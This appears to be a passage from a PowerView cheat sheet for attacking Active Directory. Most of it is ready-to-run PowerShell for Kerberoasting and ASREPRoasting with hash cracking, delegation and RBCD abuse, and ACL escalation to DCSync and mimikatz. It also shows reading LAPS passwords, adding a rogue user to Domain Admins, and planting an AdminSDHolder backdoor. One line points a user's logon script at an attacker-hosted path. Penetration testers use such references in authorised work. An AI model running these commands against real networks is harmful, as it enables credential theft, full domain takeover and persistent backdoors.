Get-DomainSPNTicket -SPN "MSSQLSvc/dbserver.domain.local" -OutputFormat Hashcat

# ── Crack ─────────────────────────────────────────────────────────────────
# After capturing hashes:
# hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

ASREPRoasting

# Find accounts with "Do not require Kerberos preauthentication" set
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
Get-NetUser -PreauthNotRequired

# Force disable pre-auth if you have write access to userAccountControl
Set-DomainObject -Identity targetUser -XOR @{useraccountcontrol=4194304} -Verbose
# Verify
Get-DomainUser -PreauthNotRequired -Verbose

# Crack with:
# hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Delegation Enumeration & Abuse

# ── Unconstrained Delegation ───────────────────────────────────────────────
# Computers with unconstrained delegation (DCs always appear — ignore them)
Get-DomainComputer -Unconstrained | select samaccountname
Get-NetComputer -Unconstrained | select samaccountname

# Find all unconstrained delegation computers AND show who is logged in
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

# Privileged users that allow delegation + logged into unconstrained computers
$Computers = Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -AllowDelegation -AdminCount
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

# ── Constrained Delegation (KCD) ──────────────────────────────────────────
# Find users with constrained delegation set
Get-DomainUser -TrustedToAuth | select userprincipalname,name,msds-allowedtodelegateto
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

# Find computers with constrained delegation set
Get-DomainComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto
Get-NetComputer -TrustedToAuth | select samaccountname

# ── Resource-Based Constrained Delegation (RBCD) ──────────────────────────
# Find all RBCD paths (users with GenericAll/GenericWrite over computer objects)
$usersid = get-domainuser | select -exp objectsid
$computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl
foreach ($acl in $computeracls) {
    foreach($sid in $usersid) {
        $acl | ?{
            $_.SecurityIdentifier -eq $sid -and (
                $_.ActiveDirectoryRights -Like '*GenericAll*' -or
                $_.ActiveDirectoryRights -Like '*GenericWrite*' -or
                $_.ActiveDirectoryRights -Like '*WriteOwner*'
            )
        }
    }
}

# Configure RBCD (write to msDS-AllowedToActOnBehalfOfOtherIdentity)
$ComputerSid = Get-DomainComputer EVILPC$ -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
    -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TargetMachine | Set-DomainObject `
    -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

SID & Object Utilities

# ── SID / Name Conversion ──────────────────────────────────────────────────
# Convert SID to object name
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126

# Convert name/username to SID
Convert-NameToSid john.doe
ConvertTo-SID john.doe

# ── Name Format Conversion ─────────────────────────────────────────────────
# Convert object names between formats (DN, SamAccountName, UPN, SID, GUID, etc.)
Convert-ADName -Identity "john.doe" -OutputType DN
Convert-ADName -Identity "TESTLAB\john.doe" -OutputType Canonical

# ── UAC Value Interpretation ──────────────────────────────────────────────
# Convert a UAC integer to readable flag names
ConvertFrom-UACValue 512           # NORMAL_ACCOUNT
ConvertFrom-UACValue 66048         # DONT_EXPIRE_PASSWORD + NORMAL_ACCOUNT
ConvertFrom-UACValue -InputObject (Get-DomainUser john.doe).useraccountcontrol

# ── IP / Hostname Resolution ──────────────────────────────────────────────
Resolve-IPAddress dc01.domain.local        # hostname → IP
[System.Net.Dns]::GetHostEntry("dc01")    # PowerShell native

# ── Generic Object Queries ─────────────────────────────────────────────────
# Query any AD object by property
Get-DomainObject -Identity "CN=john,CN=Users,DC=domain,DC=local"
Get-DomainObject -Properties objectsid,distinguishedname -LDAPFilter "(objectclass=user)"

# ── CSV Export Helper ──────────────────────────────────────────────────────
# Thread-safe CSV append (useful when running multi-threaded)
Get-DomainUser | Export-PowerViewCSV -Path .\users.csv -Append

DPAPI

# Enumerate DPAPI backup keys (requires DA)
Get-DomainBackupKey
Get-DomainBackupKey -Domain domain.local

LAPS

# Find computers with LAPS deployed
Get-DomainComputer | ? {$_."ms-Mcs-AdmPwdExpirationTime" -ne $null}

# Read LAPS password for a specific computer (requires ReadLAPSPassword right)
Get-DomainComputer -Identity LAPS-COMPUTER -Properties ms-Mcs-AdmPwd

# Find all LAPS passwords readable by current user
Get-DomainComputer -Properties samaccountname, ms-Mcs-AdmPwd |
    ? {$_."ms-Mcs-AdmPwd" -ne $null}

# Find who can read LAPS passwords (via ACL enumeration)
$sid = Convert-NameToSid "Domain Users"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {
    $_.SecurityIdentifier -eq $sid -and $_.ObjectAceType -match "ms-Mcs-AdmPwd"
}

Object Creation & Modification

# ── Create a New Domain User ───────────────────────────────────────────────
New-DomainUser -SamAccountName eviluser `
    -AccountPassword (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)

# ── Add User to Group ──────────────────────────────────────────────────────
Add-DomainGroupMember -Identity "Domain Admins" -Members eviluser

# ── Modify Object Attributes ──────────────────────────────────────────────
# Set a property using a hashtable
Set-DomainObject -Identity targetUser -Set @{'description'='Backdoor account'}
Set-DomainObject -Identity targetUser -Set @{'scriptpath'='\\attacker\evil.ps1'}

# Remove a property value
Set-DomainObject -Identity targetUser -Clear scriptpath

# XOR a bitfield (e.g., toggle UAC flag)
Set-DomainObject -Identity targetUser -XOR @{useraccountcontrol=4194304}

# ── Change Object Owner ────────────────────────────────────────────────────
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity attacker -Verbose

# ── Add / Remove ACEs ─────────────────────────────────────────────────────
# Grant a right
Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker `
    -Rights All -Verbose

# Remove a right
Remove-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker `
    -Rights All -Verbose

# ── Delete Stale Objects ──────────────────────────────────────────────────
# (See deleted objects via AD module — not PowerView)
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Complete Function Reference

Domain / Forest

Function Description
Get-Domain Domain object for current/specified domain
Get-DomainController Domain controllers for current/specified domain
Get-DomainPolicy / Get-DomainPolicyData Domain or DC policy (Kerberos, password policy, rights)
Get-Forest Forest object
Get-ForestDomain All domains in the forest
Get-ForestGlobalCatalog All global catalogs
Get-ForestTrust Forest-level trusts
Get-DomainTrust Domain-level trusts
Get-DomainTrustMapping Recursive trust enumeration
Get-DomainForeignGroupMember Groups with cross-domain members
Get-DomainForeignUser Users with privileges in other forest domains
Get-DomainDNSZone AD-integrated DNS zones
Get-DomainDNSRecord DNS records in a zone
Get-DomainSID Current domain SID

Users

Function Description
Get-DomainUser / Get-NetUser Enumerate domain users
New-DomainUser Create a new domain user
Get-DomainUserEvent Account logon events (ID 4624)
Set-DomainUserPassword Reset a user's password
Find-UserField Search user fields for keywords
Invoke-Kerberoast Request TGS tickets for kerberoastable accounts
Get-DomainSPNTicket Request a TGS for a specific SPN

Groups

Function Description
Get-DomainGroup / Get-NetGroup Enumerate domain groups
Get-DomainGroupMember / Get-NetGroupMember Group members (recursive)
Add-DomainGroupMember Add a member to a group
Remove-DomainGroupMember Remove a member from a group
Get-NetLocalGroup Local groups on a remote machine
Get-NetLocalGroupMember Local group members on a remote machine
Get-NetGPOGroup Groups set via Restricted Groups / GPP

Computers

Function Description
Get-DomainComputer / Get-NetComputer Enumerate domain computers
Get-DomainOU / Get-NetOU Organizational units

GPOs

Function Description
Get-DomainGPO / Get-NetGPO Enumerate Group Policy Objects
Get-DomainGPOLocalGroup GPOs setting local group memberships
Get-DomainGPOUserLocalGroupMapping Machines where a user is local admin via GPO

Sessions & Hunting

Function Description
Get-NetSession Active SMB sessions on a host
Get-NetLoggedon Users logged on via net logon (admin required)
Get-LoggedOnLocal Locally logged-on users (registry required)
Get-LastLoggedon Last user logged on (admin required)
Get-NetRDPSession Active RDP sessions (admin required)
Find-DomainUserLocation / Invoke-UserHunter Find where privileged users are logged in
Find-LocalAdminAccess Find machines where current user has local admin
Find-DomainLocalGroupMember / Invoke-EnumerateLocalAdmin Enumerate local admins domain-wide
Test-AdminAccess Test admin access on a specific machine

Shares & Files

Function Description
Get-NetFileServer Find domain file servers
Find-DomainShare Enumerate shares (with -CheckShareAccess to filter readable)
Find-InterestingDomainShareFile Find interesting files on domain shares
Get-PathAcl Get ACLs on a file/share path

ACLs

Function Description
Get-DomainObjectAcl / Get-ObjectAcl Get ACEs for an AD object
Find-InterestingDomainAcl Scan domain for exploitable ACEs
Add-DomainObjectAcl Add an ACE to an AD object
Remove-DomainObjectAcl Remove an ACE from an AD object
Set-DomainObjectOwner Change an object's owner
Set-DomainObject Modify AD object attributes

Object Utilities

Function Description
Get-DomainObject Raw LDAP object query
Get-DomainObjectAttributeHistory Replication metadata for attributes
Find-DomainObjectPropertyOutlier Objects with unusual property combinations
Convert-NameToSid / ConvertTo-SID Name → SID
ConvertFrom-SID / Convert-SidToName SID → name
Convert-ADName Convert between DN, SamAccountName, UPN, SID, GUID
ConvertFrom-UACValue Decode UAC integer flags
Resolve-IPAddress Hostname → IP
Export-PowerViewCSV Thread-safe CSV append

Kerberos / Auth

Function Description
Invoke-Kerberoast Request + extract TGS hashes
Get-DomainSPNTicket Request a TGS for a specific SPN
Invoke-UserImpersonation Impersonate credentials (runas /netonly style)
Invoke-RevertToSelf Revert to original token

Misc

Function Description
Get-NetForestTrust Forest trust info
Get-DomainBackupKey DPAPI domain backup keys
Add-RemoteConnection Mount a remote path with credentials
Remove-RemoteConnection Remove mounted remote path

Common Attack Workflows

Quick Initial Enumeration

# Load PowerView
. .\PowerView.ps1

# Domain basics
Get-Domain
Get-DomainSID
Get-DomainController | select Name,IPAddress,OSVersion

# Password policy and Kerberos settings
(Get-DomainPolicy).SystemAccess
(Get-DomainPolicy).KerberosPolicy

# Low-hanging fruit check
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname,description,pwdlastset
Get-DomainUser -PreauthNotRequired | select samaccountname   # ASREPRoastable
Get-DomainUser -SPN | select samaccountname,serviceprincipalname  # Kerberoastable
Get-NetComputer -Unconstrained | select samaccountname       # Unconstrained delegation
Get-NetComputer -TrustedToAuth | select samaccountname       # Constrained delegation

# Users with cleartext password in description or userPassword attribute
Get-DomainUser -Properties name, description | ? {$_.description -ne $null}

# Find any machine accounts in privileged groups
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}

# Interesting ACEs on current user
$sid = Convert-NameToSid $env:USERNAME
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

Kerberoasting Workflow

# 1. Find Kerberoastable users
Get-DomainUser -SPN | select samaccountname, serviceprincipalname

# 2. Request and extract TGS hashes
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash |
    Out-File -FilePath tgs_hashes.txt

# 3. Crack offline
# hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

ASREPRoasting Workflow

# 1. Find targets
Get-DomainUser -PreauthNotRequired | select samaccountname

# 2. Force disable pre-auth on targets you have write to (optional)
Set-DomainObject -Identity targetUser -XOR @{useraccountcontrol=4194304} -Verbose

# 3. Request AS-REP hashes (with Rubeus or impacket-GetNPUsers)
# impacket-GetNPUsers domain/ -usersfile asrep_users.txt -format hashcat -dc-ip DC_IP

# 4. Crack
# hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

ACL Privilege Escalation Workflow

# 1. Find ACEs on objects current user controls
$sid = Convert-NameToSid $env:USERNAME
$myRights = Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {
    $_.SecurityIdentifier -eq $sid
}
$myRights | select ObjectDN, ActiveDirectoryRights, ObjectAceType

# 2. If GenericAll / AllExtendedRights over a user → reset their password
Set-DomainUserPassword -Identity targetUser `
    -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)

# 3. If GenericAll / WriteMembers over a group → add yourself
Add-DomainGroupMember -Identity "Domain Admins" -Members $env:USERNAME -Verbose

# 4. If WriteDACL over an object → grant yourself GenericAll
Add-DomainObjectAcl -TargetIdentity targetObject -PrincipalIdentity $env:USERNAME `
    -Rights All -Verbose

# 5. If WriteOwner over an object → take ownership, then grant GenericAll
Set-DomainObjectOwner -Identity targetObject -OwnerIdentity $env:USERNAME -Verbose
Add-DomainObjectAcl -TargetIdentity targetObject -PrincipalIdentity $env:USERNAME `
    -Rights All -Verbose

# 6. If DCSync rights can be granted → escalate to DCSync
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
    -PrincipalIdentity $env:USERNAME -Rights DCSync -Verbose
# Then: mimikatz lsadump::dcsync /domain:domain.local /user:Administrator

Targeted Kerberoasting (via WriteProperty on SPN)

# 1. Verify you have GenericWrite on the target
$sid = Convert-NameToSid $env:USERNAME
Get-DomainObjectACL -ResolveGUIDs -Identity targetUser | ? {
    $_.SecurityIdentifier -eq $sid -and
    $_.ActiveDirectoryRights -match 'GenericWrite|WriteProperty'
}

# 2. Add a fake SPN to target
Set-DomainObject -Identity targetUser -Set @{servicePrincipalName='fake/host.domain.local'}

# 3. Kerberoast
Get-DomainSPNTicket -SPN 'fake/host.domain.local' -OutputFormat Hashcat

# 4. Clean up SPN
Set-DomainObject -Identity targetUser -Clear servicePrincipalName

AdminSDHolder Backdoor

# 1. Add attacker account to AdminSDHolder DACL
# SDProp propagates this to ALL protected accounts every ~60 minutes
Add-DomainObjectAcl `
    -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
    -PrincipalIdentity backdoor_user `
    -Rights All -Verbose

# 2. Wait ~60 minutes (or trigger SDProp manually via regedit on DC)

# 3. Now backdoor_user has GenericAll over every protected account
#    (Domain Admins, Enterprise Admins, Schema Admins, etc.)

RBCD Attack (PowerView)

# Requires: GenericWrite or WriteProperty on a computer object's
#           msDS-AllowedToActOnBehalfOfOtherIdentity attribute

# 1. Add a machine account (or use existing one you control)
#    Use Powermad:
# New-MachineAccount -MachineAccount EVILPC -Password $(ConvertTo-SecureString 'P@ss' -AsPlainText -Force)

# 2. Get SID of the machine account
$ComputerSid = Get-DomainComputer EVILPC$ -Properties objectsid | Select -Expand objectsid

# 3. Build raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
    -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# 4. Write RBCD on target computer
Get-DomainComputer TargetMachine | Set-DomainObject `
    -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 5. Verify
Get-DomainComputer TargetMachine -Properties msds-allowedtoactonbehalfofotheridentity

# 6. Now use Rubeus/impacket S4U2Proxy to get ticket as Administrator
# impacket-getST domain/EVILPC$:P@ss -spn cifs/TargetMachine.domain.local -impersonate Administrator -dc-ip DC_IP

User Hunting

# Hunt for Domain Admin sessions (loudest method)
Find-DomainUserLocation -CheckAccess | select UserName, SessionFromName

# Stealth — only hit high-value server targets
Find-DomainUserLocation -Stealth

# Hunt on unconstrained delegation hosts only
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

# Hunt for a specific group
Find-DomainUserLocation -UserGroupIdentity "Server Admins"

Trust Attacks

# 1. Enumerate all trusts
Get-DomainTrustMapping | fl

# 2. Find foreign principals
Get-DomainForeignGroupMember -Domain target.forest.com
Get-DomainForeignUser

# 3. Check for TREAT_AS_EXTERNAL (SID filtering disabled)
Get-DomainTrust | ? {$_.TrustAttributes -match 'TREAT_AS_EXTERNAL'}

# 4. If available: abuse with inter-realm Golden Ticket
#    (see ticketer section in Impacket wiki for commands)

References

  • PowerView source (dev branch): https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
  • HarmJ0y tricks gist: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
  • HarmJ0y blog: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
  • SharpView (.NET port): https://github.com/tevora-threat/SharpView
  • HackTricks reference: https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
  • S1ckB0y1337 AD Exploitation Cheat Sheet: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
  • HarmJ0y CheatSheets repo: https://github.com/HarmJ0y/CheatSheets

← Tool references top ↑